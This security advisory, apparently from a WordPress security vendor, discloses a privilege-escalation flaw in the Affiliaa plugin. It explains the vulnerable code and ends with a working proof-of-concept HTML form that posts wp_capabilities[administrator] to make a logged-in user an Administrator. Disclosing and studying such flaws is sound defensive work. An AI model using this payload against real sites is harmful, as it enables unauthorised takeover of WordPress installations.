Vulnerability That Allows Attacker to Become Administrator Has Been in WordPress Plugin for Over 3 Years
One way we help to improve the security of WordPress plugins, not just for customers of our service, but for everyone using them, is our proactive monitoring of changes made to plugins in the Plugin Directory to try to catch serious vulnerabilities. We continue to improve what we can detect through that, based on other vulnerabilities being discovered and disclosed. A recent improvement to that led to us finding a role change vulnerability in the plugin Affiliaa. That would allow someone logged in to WordPress to change their role, which would allow an attacker with access to a low-level WordPress account to become an Administrator. That vulnerability has been in the plugin since it was introduced in to the WordPress Plugin Directory in March 2020.
We now are also running all the code in the plugins used by our customers through that monitoring system on a weekly basis to provide additional protection for them.
The possibility of this vulnerability is also flagged by our Plugin Security Checker, so you can check plugins you use to see if they might have similar issues with that tool.
We tested and confirmed that our firewall plugin for WordPress protected against exploitation of this vulnerability, even before we discovered the vulnerability, as part of its protection against zero-day vulnerabilities.
Role Change
The plugin includes a shortcode, rtwwwap_affiliate_page, which causes the function rtwalwm_affiliate_page_callback() to be run:
52 | add_shortcode( 'rtwwwap_affiliate_page', array( $this, 'rtwalwm_affiliate_page_callback') ); |
That function will cause the file /public/templates/rtwalwm_affiliate.php to be loaded:
275 276 277 | function rtwalwm_affiliate_page_callback(){ $rtwalwm_html = include( RTWALWM_DIR.'public/templates/rtwalwm_affiliate.php' ); |
The code in that file will in turn cause the file /public/templates/rtwalwm_affiliate_body.php to be loaded, if the request is coming from someone logged in to WordPress and they are an affiliate:
84 | $rtwalwm_html1 = include( RTWALWM_DIR.'public/templates/rtwalwm_affiliate_body.php' ); |
By default, anyone logged in to WordPress can become an affiliate by accessing a page with the shortcode.
In the rtwalwm_affiliate_body.php file, there is this code that allows updating arbitrary user meta:
386 387 388 389 | if( isset( $_GET[ 'rtwalwm_tab' ] ) && $_GET[ 'rtwalwm_tab' ] == 'profile' ){ if(isset($_POST['rtwalwm_profile_save'])){ foreach ($_POST as $meta_key => $meta_value){ update_user_meta($rtwalwm_user_id,$meta_key,$meta_value); |
Users shouldn’t be able to change arbitrary user meta for their account like that.
As the proof of concept below confirms, the wp_capabilities user meta can be changed to change a user’s role to Administrator.
WordPress Causes Full Disclosure
As a protest of the moderators of the WordPress Support Forum’s continued inappropriate behavior we changed from reasonably disclosing to full disclosing vulnerabilities for plugins in the WordPress Plugin Directory in protest, until WordPress gets that situation cleaned up, so we are releasing this post and then leaving a message about that for the developer through the WordPress Support Forum. (For plugins that are also in the ClassicPress Plugin Directory, we will follow our reasonable disclosure policy.)
You can notify the developer of this issue on the forum as well.
After four years, the moderators have finally tacitly admitted they were behaving inappropriately and have made moves to fix the problems (though incompletely), so these full disclosures can be ended if they simply restore access to our accounts and plugins in the Plugin Directory. Hopefully that takes less than four years.
Update: To clear up the confusion where developers claim we hadn’t tried to notify them through the Support Forum (while at the same time moderators are complaining about us doing just that), here is the message we left for this vulnerability:
Proof of Concept
The following proof of concept will change a logged in user’s role to Administrator.
Replace “[shortcode page]” with the location of the page with the rtwwwap_affiliate_page shortcode.
<html> <body> <form action="[path to shortcode]" method="POST"> <input type="hidden" name="rtwalwm_profile_save" value="" /> <input type="hidden" name="wp_capabilities[administrator]" value="1" /> <input type="submit" value="Submit" /> </form> </body>